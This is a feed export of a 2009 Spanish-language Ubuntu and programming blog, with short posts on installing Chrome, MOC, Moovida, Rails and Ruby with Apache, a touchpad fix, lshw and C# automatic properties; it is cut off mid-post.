tag:blogger.com,1999:blog-46074792625210467922024-02-20T05:10:00.069-08:00Aldea UbuntuGNU/Linux, Software Libre, Mac, Windows, Gadgets y lo que sea de utilidad.Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.comBlogger95125tag:blogger.com,1999:blog-4607479262521046792.post-15904995505518295622009-12-11T23:35:00.000-08:002009-12-11T23:41:26.512-08:00Google Chrome beta para Linux.<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_dDRVOtKcUw4/SyNI5HtCG6I/AAAAAAAAAeo/2YL_Oc12Aos/s1600-h/ChromeLinux.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 192px;" src="http://4.bp.blogspot.com/_dDRVOtKcUw4/SyNI5HtCG6I/AAAAAAAAAeo/2YL_Oc12Aos/s320/ChromeLinux.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5414251323187141538" /></a><span class="Apple-style-span" style="font-size:small;"><div><br /></div><span class="Apple-style-span" style="font-size: small;">Google ha publicado una versión beta de su navegador Chrome para Linux...</span></span><div><span class="Apple-style-span" style="font-size: small;"><br /></span></div><div><span class="Apple-style-span" style="font-size: small;">puedes </span><a href="http://www.google.com/chrome?hl=es"><span class="Apple-style-span" style="font-size: small;">descargarlo</span></a><span class="Apple-style-span" style="font-size: small;"> desde el mismo sitio de Google Chrome.</span></div><div><span class="Apple-style-span" style="font-size: small;"><br /></span></div><div><span class="Apple-style-span" style="font-size: small;">Obtendrás un paquete .deb, el cual es sencillo instalar.</span></div><div><span class="Apple-style-span" style="font-size: small;"><br /></span></div><div><span class="Apple-style-span" style="font-size: small;">hasta ahora no e visto bugs de consideración, pero esperemos pronto se publique una versión estable.</span></div><div><span class="Apple-style-span" style="font-size: small;"><br /></span></div><div><span class="Apple-style-span" style="font-size: small;">saludos</span></div>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com1tag:blogger.com,1999:blog-4607479262521046792.post-2066985307305368882009-12-11T23:28:00.000-08:002009-12-11T23:30:13.685-08:00El software y las pirámides.<span class="Apple-style-span" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px; color: rgb(136, 136, 136); line-height: 20px; "><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font: normal normal normal 12px/1.6em 'Lucida Grande', Verdana, sans-serif; "><span class="Apple-style-span" style="color:#000000;"><span class="Apple-style-span" style="font-size: small;">La mayor parte del software que se desarrolla hoy en día es similar a las pirámides egipcias: millones de ladrillos apilados uno encima de otro, sin integridad estructural, y construidas a base de fuerza bruta y miles de esclavos.</span></span></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font: normal normal normal 12px/1.6em 'Lucida Grande', Verdana, sans-serif; "><span class="Apple-style-span" style="color:#000000;"><span class="Apple-style-span" style="font-size: small;">– Alan Kay</span></span></p></span>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com1tag:blogger.com,1999:blog-4607479262521046792.post-20661921091514622022009-07-11T08:05:00.000-07:002009-07-11T08:34:04.857-07:00MOC Music On Console<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_dDRVOtKcUw4/Sliuto6WKTI/AAAAAAAAAeg/JmNtxr_fb8k/s1600-h/MOC.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 192px;" src="http://3.bp.blogspot.com/_dDRVOtKcUw4/Sliuto6WKTI/AAAAAAAAAeg/JmNtxr_fb8k/s320/MOC.jpg" alt="" id="BLOGGER_PHOTO_ID_5357223855856691506" border="0" /></a><br /><span style="font-size:85%;"><br />Reproductores para linux hay mucho... Banshee, rhythmbox, vlc, etc....<br />y desde hace mucho utilizo MOC, y habia olvidado platicarles acerca de este reproductor...<br /><br />Asi que al grano... MOC es un rerpoductor que se ejecuta en la consola, por lo tanto las ventajas que nos proporciona es qeu consume pocos recursos, ademas que para los Geeks es una buena opcion para reproducir musica jojojoj.<br /><br />Pues bien.. Instalarlo es muy facil.. en la consola instalenlo con la ayuda de apt-get install<br /><br /></span><blockquote><span style="font-size:85%;">sudo apt-get install moc</span></blockquote><span style="font-size:85%;"><br />y listo.... ahora para ejecutarlo deben hacerlo directo desde la consola, escribiendo:<br /><br /></span><blockquote><span style="font-size:85%;">mocp</span></blockquote><span style="font-size:85%;"><br />Ahora para utilizar MOC tienen los siguientes comandos (si tienen alguna duda pueden consultarlo en la consola escribiendo <span style="font-style: italic;">mac mon</span>:<br /></span><ul><li><span style="font-size:85%;">tecla a ------> enviar cancion o carpeta a la lista de reproduccion</span></li><li><span style="font-size:85%;">tecla d ------> quitar de la lista de reproduccion</span></li><li><span style="font-size:85%;">tecla <> ----> subir y bajar el volumen</span></li><li><span style="font-size:85%;">tecla n ------> reproducir siguiente cancion</span></li><li><span style="font-size:85%;">letra q</span> <span style="font-size:85%;">------> salimos del cliente, pero el servidor sigue ejecutandose, es decir, podemos utilizar este comando para regresar a la consola y ejecutar otras tareas, pero la MOC sigue reproduciendose</span></li><li><span style="font-size:85%;">letra Q ------> Salir definitivamente de MOC, matando el proceso del cliente y servidor.</span></li></ul><span style="font-size:85%;"><br />saludos.</span>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com1tag:blogger.com,1999:blog-4607479262521046792.post-66032767274209629542009-07-01T20:49:00.000-07:002009-07-01T20:59:33.592-07:00Instalar Moovida en Ubuntu 9.04<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_dDRVOtKcUw4/SkwweY0mfqI/AAAAAAAAAeY/8G1AV1Bc8nM/s1600-h/main_moviesalt.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 179px;" src="http://2.bp.blogspot.com/_dDRVOtKcUw4/SkwweY0mfqI/AAAAAAAAAeY/8G1AV1Bc8nM/s320/main_moviesalt.png" alt="" id="BLOGGER_PHOTO_ID_5353707355653963426" border="0" /></a><br /><span style="font-size:85%;">Moovida es el redisenio (perdo por no usar la letra enie) del media center llamado Elisa.<br />La instalacion es sencilla:<br /><br />Primero agregamos la siguiente linea a los origenes de software, para esto nos dirigimos a la siguiente ruta:<br />Sistema > Administracion > Origenes de softwae > Software de terceros.<br /><br />Y como les comentaba anteriormente, agregamos la siguiente linea:<br /><blockquote>deb http://ppa.launchpad.net/moovida-packagers/ppa/ubuntu jaunty main</blockquote><br /><br />Una vez agregado, al cerrar la aplicacion, nos perida recargar la lista, hazlo... y una vez actualizada la lista, abre la terminal (o consola) y teclea (o copialo jeeje, recuerda que para copiar texto en la terminal, lo haces con la combinacion de teclas CTRL + SHIFT + V) lo siguiente:<br /><br /><blockquote>gpg --keyserver keyserver.ubuntu.com --recv 26C2E075 && \<br />gpg --export --armor 26C2E075 | sudo apt-key add - && \<br />sudo apt-get update</blockquote><br /><br />Por ultimo ya puedes instalar Moovida:<br /><br /><blockquote>sudo aptitude install moovida</blockquote>Saludos a todos.<br /></span>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0tag:blogger.com,1999:blog-4607479262521046792.post-32014558021611973642009-05-31T07:38:00.000-07:002009-05-31T07:47:17.173-07:00Montar touchpad en Ubuntu<span style="font-size:85%;">Hola.. despues de mucho tiempo ejeje.<br /><br />Un amigo me platicaba que al instalar ubuntu 9.04, tenia el problema que linux no reconocia el touchpad de su notebook.<br /><br />Por alguna razon linux no lo monta automaticamente.<br />Lo que podemos hacer es lo siguiente:<br /></span><ul><li><span style="font-size:85%;">presionamos las teclas ALT y F2 para ejecutar la aplicacion de acceso rapido.</span></li><li><span style="font-size:85%;">tecleamos la palabra: gnome-terminal.</span></li><li><span style="font-size:85%;">esto nos abrira la terminal de linux (hacemos esto entendiendo que solo el teclado si nos funciona, y el touchpad no. jejej).</span></li><li><span style="font-size:85%;">ahora solo nos queda ejecutar 2 instrucciones para montar el touchpad, la primera instruccion que debes escribir es la siguiente: <span style="font-weight: bold;">sudo modprobe -r psmouse</span></span></li><li><span style="font-size:85%;">te pedira tu pass de root, solo escribela para que la instruccion se ejecute<span style="font-weight: bold;">.</span></span></li><li><span style="font-size:85%;">por ultimo escribimos la segunda instruccion: <span style="font-weight: bold;"><span style="font-weight: bold;">sudo modprobe psmouse proto=imps</span></span></span></li><li><span style="font-size:85%;">y listo... ya podemos mover nuestro cursor jejeej.<span style="font-weight: bold;"><span style="font-weight: bold;"></span></span></span></li></ul><span style="font-size:85%;">saludos a todos y espere les sea de utilidad</span>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0tag:blogger.com,1999:blog-4607479262521046792.post-21576336978471957262009-04-19T07:12:00.000-07:002009-04-19T07:16:22.116-07:00Malditas drogas....Sin palabras... :)<br /><br /><br /><object height="344" width="425"><param name="movie" value="http://www.youtube.com/v/Q6Eml5pvdK0&color1=0x3a3a3a&color2=0x999999&hl=es&feature=player_embedded&fs=1"><param name="allowFullScreen" value="true"><embed src="http://www.youtube.com/v/Q6Eml5pvdK0&color1=0x3a3a3a&color2=0x999999&hl=es&feature=player_embedded&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0tag:blogger.com,1999:blog-4607479262521046792.post-25931165747185058132009-03-02T18:10:00.000-08:002009-03-02T18:44:44.079-08:00Propiedades automáticas en C#<span class="Apple-style-span" style="color: rgb(51, 51, 51); font-family: 'Lucida Sans Unicode'; font-size: 12px; "><p class="MsoNormal" style="line-height: 1.5em; margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span style="font-family:Calibri;"><span class="Apple-style-span" style="font-size: small;">Los cambios que aporta .NET en los lenguajes vienen promovidos para mejorar la experiencia de desarrollo de manera sutil y dramática y con esto mejora la productividad y reduce la cantidad de código que tenemos que escribir.</span></span></p><p style="line-height: 1.5em; margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><strong><span><span style="font-family:Calibri;"><span class="Apple-style-span" style="font-size: small;">Nueva característica de C#: Propiedades automáticas.</span></span></span></strong></p><p class="MsoNormal" style="line-height: 1.5em; margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span style="font-family:Calibri;"><span class="Apple-style-span" style="font-size: small;">Si somos desarrolladores en C#, normalmente escrbimos las clases con propiedades básicas como en el código siguiente:</span></span></p><p class="MsoNormal" style="font-size: 1em; line-height: 1.5em; margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "></p><p class="MsoNormal" style="line-height: 1.5em; margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-family: Calibri; "></span></p><blockquote><p class="MsoNormal" style="line-height: 1.5em; margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-family: Calibri; "></span></p><p class="MsoNormal" style="line-height: 1.5em; margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;">p</span><span class="Apple-style-span" style="line-height: 18px;"><span class="Apple-style-span" style="font-size: small;">ublic class Persona</span></span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> {</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> private string nombre;</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> private string apellido;</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> private int edad;</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"><br /></span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> public string nombre</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> {</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> get { return _nombre; }</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> set { _nombre = value; }</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> }</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"><br /></span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> public string apellido</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> {</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> get { return _apellido; }</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> set { _apellido = value; }</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> }</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"><br /></span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> public int edad</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> {</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> get { return _edad; }</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> set { _edad = value; }</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> }</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> }</span></p><p></p></blockquote><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-family: Calibri; "></span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-family: Calibri; "><span class="Apple-style-span" style="font-size: small;"><br /></span></span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-family: Calibri; "><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: 'Courier New'; line-height: 14px; "><span style="color: black; "><span><span style="font-family:Calibri;"><span class="Apple-style-span" style="font-size: small;">No estamos añadiendo ninguna lógica en las propiedades Get/Set, todo lo contrario, lo que estamos haciendo es asignar los valores a una variable. </span></span></span></span><span style="color: black; "><span><span style="font-family:Calibri;"><span class="Apple-style-span" style="font-size: small;"></span></span></span></span></span></span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-family: Calibri; "><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: 'Courier New'; line-height: 14px; "><span style="color: black; "><span><span style="font-family:Calibri;"><span class="Apple-style-span" style="font-size: small;">El compilador de C# nos proporciona una forma elegante para hacer que el código que escribamos sea más conciso mientras mantiene la flexibilidad de las propiedades usando una nueva característica conocida como “propiedades automáticas”. Las propiedades automáticas nos permiten evitar la declaración manual de variables privadas y escribir el código de los métodos get/set – En lugar de eso, el compilador puede crear automáticamente las variables privadas necesarias y el código por defecto de los métodos get/set por nosotros.</span></span></span></span><span style="color: black; "><span><span style="font-family:Calibri;"><span class="Apple-style-span" style="font-size: small;"></span></span></span></span></span></span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-family: Calibri; "><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: 'Courier New'; line-height: 14px; "><span style="color: black; "><span><span style="font-family:Calibri;"><span class="Apple-style-span" style="font-size: small;">Por ejemplo, usando las propiedades automáticas podemos reescribir el código anterior de la siguiente manera:</span></span></span></span></span><span class="Apple-style-span" style="font-size: small;"><br /></span></span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: Calibri; font-size: 16px; line-height: 14px;"></span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "></p><blockquote><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> public class Persona</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> {</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> public string nombre {get; set;}</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> public string apellido {get; set;}</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> public int edad { get; set; }</span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-size: small;"> }</span></p></blockquote><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-family: 'Lucida Sans Unicode'; line-height: 18px; "><span style="color: black; "><span><span style="font-family:Calibri;"><span class="Apple-style-span" style="font-size: small;">Cuando el compilador de C# se encuentre con los Get/Set’s vacíos, como en el código anterior, generará automáticamente una variable privada en la clase, e implementará las propiedades públicas get y set para ella. El beneficio de esto es que desde un punto de vista de tipo-contrato, la clase será exactamente igual que la primera implementación de la que hablábamos más arriba. Esto significa que –al contrario que las variables públicas – más adelante podemos añadir validación lógica en el método set sin tener que cambiar ningún componente externo que referencie a mi clase.</span></span></span></span></span></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="line-height: 18px;"><span class="Apple-style-span" style="font-size: small;">Saludos.</span></span></p></span><p></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "></p><p class="MsoNormal" style="margin-top: 1.2em; margin-right: 0px; margin-bottom: 1.2em; margin-left: 0px; "><span class="Apple-style-span" style="font-family: Calibri; font-size: 16px;"></span></p><p></p>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com1tag:blogger.com,1999:blog-4607479262521046792.post-58373120345181912492009-02-04T21:43:00.000-08:002009-02-04T21:45:11.922-08:00Lo conocen???<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_dDRVOtKcUw4/SYp8ppQKcMI/AAAAAAAAAd4/Se7gmfYPNC0/s1600-h/homer-simpson-humano.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 205px; height: 320px;" src="http://1.bp.blogspot.com/_dDRVOtKcUw4/SYp8ppQKcMI/AAAAAAAAAd4/Se7gmfYPNC0/s320/homer-simpson-humano.jpg" alt="" id="BLOGGER_PHOTO_ID_5299184966444937410" border="0" /></a><span style="font-size:85%;">Visto en: <a href="http://www.sarda.es">sarda.es</a></span>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com1tag:blogger.com,1999:blog-4607479262521046792.post-79981837141071914462009-02-02T14:36:00.000-08:002009-02-02T14:47:14.390-08:00Comando lshw<span style="font-size:85%;">Hace poco me preguntaron acerca de algun comando que despliegue en su totalidad todas las caracteristicas del cual consta nuestro equipo.<br /><br />El comando lshw nos ayuda en este aspecto.<br /><span style="display: block;" id="formatbar_Buttons"><span class="on down" style="display: block;" id="formatbar_Blockquote" title="Bloque entrecomillado" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 17);ButtonMouseDown(this);"><img src="http://www.blogger.com/img/blank.gif" alt="Bloque entrecomillado" class="gl_quote" border="0" /></span></span><br />solo teclea en la terminal:<br /></span><blockquote><span style="font-size:85%;">sudo lshw</span></blockquote><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_dDRVOtKcUw4/SYd3rUl8B0I/AAAAAAAAAdw/B1tDGiX_iqI/s1600-h/Pantallazo.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 192px;" src="http://3.bp.blogspot.com/_dDRVOtKcUw4/SYd3rUl8B0I/AAAAAAAAAdw/B1tDGiX_iqI/s320/Pantallazo.jpg" alt="" id="BLOGGER_PHOTO_ID_5298335072770590530" border="0" /></a><br /><span style="font-size:85%;"><br />Saludos...</span>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0tag:blogger.com,1999:blog-4607479262521046792.post-78051965325199138462009-01-30T17:36:00.000-08:002009-01-30T17:53:03.672-08:00Instalando Ruby On Rails en linux<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_dDRVOtKcUw4/SYOuziW3AjI/AAAAAAAAAdo/erIp0Sg_pCk/s1600-h/rails-logo.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 121px; height: 156px;" src="http://3.bp.blogspot.com/_dDRVOtKcUw4/SYOuziW3AjI/AAAAAAAAAdo/erIp0Sg_pCk/s320/rails-logo.png" alt="" id="BLOGGER_PHOTO_ID_5297269787137081906" border="0" /></a><br /><span style="font-size:85%;">Ruby on Rails, también conocido como RoR o Rails es un framework de aplicaciones web de código abierto escrito en el lenguaje de programación Ruby, siguiendo el paradigma de la arquitectura (MVC). Trata de combinar la simplicidad con la posibilidad de desarrollar aplicaciones del mundo real escribiendo menos código que con otros frameworks y con un mínimo de configuración. El lenguaje de programación Ruby permite la metaprogramación, de la cual Rails hace uso, lo que resulta en una sintaxis que muchos de sus usuarios encuentran muy legible. Rails se distribuye a través de RubyGems, que es el formato oficial de paquete y canal de distribución de librerías y aplicaciones Ruby.</span><p><span style="font-size:85%;"> Podemos instalarlo desde apt en debian ó desde el mismo Rubygems</span></p> <pre><span style="font-size:85%;"><blockquote>sudo aptitude install rails</blockquote><br /></span></pre><p><span style="font-size:85%;">ó con este comando tambien<br /></span></p> <pre><span style="font-size:85%;"><blockquote>sudo gem install rails</blockquote><br /></span></pre><p><span style="font-size:85%;">Ahora crearemos nuestro primer proyecto:</span></p> <pre><span style="font-size:85%;"></span></pre><blockquote><pre><span style="font-size:85%;">rails mi_proyecto<br />cd mi_proyecto<br /></span></pre><p><span style="font-size:85%;"></span></p></blockquote><p><span style="font-size:85%;">Esto creará una seria de archivos y directorios para nuestro proyecto. La estructura sería la siguiente:</span></p> <ul><li><span style="font-size:85%;"><b>app:</b>Acá se almacenará los componentes de nuestra aplicación: vistas y 'helpers', controladores y modelos.</span></li><li><span style="font-size:85%;"><b>config:</b>Contiene la configuración de nuestra aplicación: configuración de la base de datos (database.yml) , estructura del entorno de Rails (environment.rb) y el enrutador de peticiones web (routes.rb).</span></li><li><span style="font-size:85%;"><b>public:</b>Esto es parecido al directorio public de un servidor web. Contiene los archivos JavaScript, images, hojas de estilo y HTML.</span></li><li><span style="font-size:85%;"><b>script:</b>Este directorio contiene scripts que inician y administran las diversas herramientas que puedes usar en Rails. Ejemplo: estan los scripts que generan código (generate) e inician en servidor web (server).</span></li></ul> <p><span style="font-size:85%;"><b>Servidor Web:</b><br />RoR cuenta con su propio servidor para desarrollo, el cuál nos permite visualizar nuestro proyecto, para correrlo debemos de escribir en la consola lo siguiente, siempre y cuando estemos dentro de la carpeta de nuestro proyecto:</span></p> <pre><span style="font-size:85%;"><blockquote>ruby script/server</blockquote><br /></span></pre><span style="font-size:85%;">Ahora abrimos un navegador y tecleamos <b>http://localhost:3000</b> Y nos aparecerá la pantalla principal de Ruby On rails:<br /><br /></span><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_dDRVOtKcUw4/SYOuDCwyqVI/AAAAAAAAAdg/7LrCbARe2k0/s1600-h/railsRun.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 192px;" src="http://4.bp.blogspot.com/_dDRVOtKcUw4/SYOuDCwyqVI/AAAAAAAAAdg/7LrCbARe2k0/s320/railsRun.jpg" alt="" id="BLOGGER_PHOTO_ID_5297268954022193490" border="0" /></a><span style="font-size:85%;">Saludos y espero les sea muy util esta informacion.</span>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0tag:blogger.com,1999:blog-4607479262521046792.post-31479814530947101702009-01-30T17:11:00.000-08:002009-02-01T10:27:25.273-08:00Instalando Ruby y Apache en Linux<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_dDRVOtKcUw4/SYOpy6jK4EI/AAAAAAAAAdY/YeJFKMBy0wc/s1600-h/ruby_logo.png"><img id="BLOGGER_PHOTO_ID_5297264278893158466" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 120px; CURSOR: pointer; HEIGHT: 120px; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_dDRVOtKcUw4/SYOpy6jK4EI/AAAAAAAAAdY/YeJFKMBy0wc/s320/ruby_logo.png" border="0" /></a><span style="font-size:85%;"><br />Para desarrollar aplicaciones para web utilizo (por motivos laborales) .Net de microsoft (si... de microsoft, recuerden que hay la implementacion de .Net para linux y sistemas Unix :)).<br /><br />Pero me gusta la idea que que existen otras alternativas, quisas mejores en varios aspectos a asp.net.<br /><br />Llevo un tiempo desarrollando cosillas en ruby on rails, y es un framework de desarrollo muy bueno.<br /><br />Asi que hoy vamos a ver los pasos para instalar ruby y el servidor Apache en linux (utilizaremos Ubuntu 8.10, aunque funcionara para cualquier sistema basado en Debian).<br /><br />Asi que comencemos:</span><br /><br /><p>Primeramente instalamos los paquetes necesarios:</p><pre><blockquote>sudo aptitude install ruby libapache2-mod-ruby eruby rubygems</blockquote> </pre><p>Una vez instalado los paquetes, hay que configurar apache, para ello editamos el archivo apache.conf:</p><pre><blockquote>sudo gedit /etc/apache2/apache2.conf</blockquote><br /></pre><p>Y agregamos en cualquier parte al final del archivo lo siguiente:</p><pre><blockquote>##Configurando paquetes de Apache<br />AddType application/x-httpd-eruby .rhtml<br />Action application/x-httpd-eruby /cgi-bin/eruby</blockquote><br /></pre><p>Para que apache interprete el comando <b>Action</b> es necesario hacer un enlace:</p><pre><blockquote>sudo cd /etc/apache2/mods-enabled<br />sudo ln -s /etc/apache2/mods-available/actions.load actions.load</blockquote><br /></pre><p>Ahora linkeamos el interprete eruby:</p><pre></pre><blockquote><pre>sudo cd /usr/lib/cgi-bin<br />sudo ln -s /usr/bin/eruby eruby<br /></pre><p></p></blockquote><p>Y reseteamos apache:</p><pre></pre><blockquote><pre>sudo /etc/init.d/apache2 force-reload<br />sudo /etc/init.d/apache2 restart<br /></pre><p></p></blockquote><p>Ahora si, ya podemos crear archivos .rb ó .rhtml, nuestra primera prueba sería con el editor de textos crear un archivo llamado hialien.rhtml y le agregamos lo siguiente:</p><pre></pre><blockquote><pre>*html*<br /><% print "hola mundo!" %><br />*html*<br /></pre><p><br /></p><p></p></blockquote><p>remplazas los asteriscos por estos simbolos < > ya que blogger no me lo imprime ejej<br /></p><p>Podemos crear también un script en ruby, este lo llamaremos hialien.rb :</p><pre></pre><blockquote><pre>#!/usr/bin/env ruby<br />print "Hi 